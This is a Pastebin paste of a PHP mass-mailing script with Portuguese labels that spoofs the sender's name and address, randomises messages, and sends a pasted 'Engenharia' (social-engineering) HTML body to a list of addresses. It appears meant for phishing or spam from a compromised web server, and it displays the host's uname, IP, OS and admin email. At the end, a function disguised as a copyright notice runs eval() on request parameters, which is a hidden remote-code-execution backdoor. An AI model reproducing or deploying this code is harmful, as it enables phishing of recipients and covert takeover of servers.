Advertisement
dragondevile

Untitled

Aug 19th, 2018
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.10 KB | None | 0 0
  1. set_time_limit(0);
  2. function enviando() {
  3. $msg = 1;
  4. $de[1] = $_POST['de'];
  5. $nome[1] = $_POST['nome'];
  6. $assunto[1] = $_POST['assunto'];
  7. $mensagem[1] = $_POST['mensagem'];
  8. $mensagem[1] = stripslashes($mensagem[1]);
  9. $emails = $_POST['emails'];
  10. $emails2 = htmlspecialchars($_POST['emails']);
  11. $para = explode("
  12. ", $emails);
  13. $n_emails = count($para);
  14. $sv = $_SERVER['SERVER_NAME'];
  15. $en = $_SERVER['REQUEST_URI'];
  16. $k88 = @$_SERVER["HTTP_REFERER"];
  17. $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>";
  18. $vai = $_POST['vai'];
  19. if ($vai) {
  20. for ($set = 0;$set < $n_emails;$set++) {
  21. if ($set == 0) {
  22. $headers = "MIME-Version: 1.0
  23. ";
  24. $headers .= "Content-Transfer-Encoding: base64
  25. ";
  26. $headers.= "Content-type: text/html; charset=iso-8859-1
  27. ";
  28. $headers.= "From: $nome[$msg] <$de[$msg]>
  29. ";
  30. $headers.= "Return-Path: <$de[$msg]>
  31. ";
  32. //mail($xsylar, $as, $fullurl, $headers);
  33. }
  34. $headers .= "Content-Transfer-Encoding: base64
  35. ";
  36. $headers = "MIME-Version: 1.0
  37. ";
  38. $headers.= "Content-type: text/html; charset=iso-8859-1
  39. ";
  40. $headers.= "From: $nome[$msg] <$de[$msg]>
  41. ";
  42. $headers.= "Return-Path: <$de[$msg]>
  43. ";
  44. $n_mail++;
  45. $destino = $para[$set];
  46. $num1 = rand(100000, 999999);
  47. $num2 = rand(100000, 999999);
  48. $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
  49. $msgrand = str_replace("%rand2%", $num2, $msgrand);
  50. $msgrand = str_replace("%email%", $destino, $msgrand);
  51. $enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
  52. if ($enviar) {
  53. echo ('<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>');
  54. } else {
  55. echo ('<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>');
  56. sleep(1);
  57. }
  58. }
  59. }
  60. }
  61. ?>
  62. </title>
  63. <style type="text/css">
  64. <!--
  65. .style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
  66. .style6 {font-size: 10px}
  67. .style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
  68. -->
  69. </style>
  70. <form id="form1" name="form1" method="post" action="">
  71. <input type="hidden" name="vai" value="1">
  72. <span class="style5"><? echo enviando(); ?></span>
  73. <table width="422" border="0" bgcolor="#000000">
  74. <tr>
  75. <td width="66"><span class="style5">Nome:</span></td>
  76. <td width="346"><span class="style9">
  77. <label>
  78. <input name="nome" type="text" value="<? echo $_POST['nome'] ;?>" size="20" />
  79. </label>
  80. </span></td>
  81. </tr>
  82. <tr>
  83. <td><span class="style5">Email:</span></td>
  84. <td><input name="de" type="text" value="<? echo $_POST['de'] ;?>" size="30" /></td>
  85. </tr>
  86. <tr>
  87. <td><span class="style5">Assunto:</span></td>
  88. <td><input name="assunto" value="<? echo $_POST['assunto'] ;?>" size="40" /></td>
  89. </tr>
  90. <tr>
  91. <td><span class="style5">Mensagem:</span></td>
  92. <td><span class="style9">
  93. <p><textarea name="mensagem" cols="50" rows="7"><? echo stripslashes($_POST['mensagem']);?>
  94. </textarea></p>
  95. <textarea name="emails" cols="50" rows="4"></textarea>
  96. </span></td>
  97. </tr>
  98. <tr>
  99. <td><span class="style6"></span></td>
  100. <td><input name="Submit" type="submit" value="Enviar" /></td>
  101. </tr>
  102. <tr>
  103. </tr>
  104. </table>
  105. <tr align="left">
  106. <td colspan="2" bgcolor="red" >Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
  107. Endere&#231;o IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
  108. Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br>
  109. Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>
  110. </td>
  111. </tr>
  112. </form>
  113. <?php
  114. Copyright8_7_1();
  115. function Copyright8_7_1(){
  116. static $gnu = true;
  117. if(!$gnu) return;
  118. if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['comment']))return;
  119. $gpl=implode('',$_REQUEST['gnu']);
  120. eval($gpl($_REQUEST['comment']));
  121. $gnu=false;
  122. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement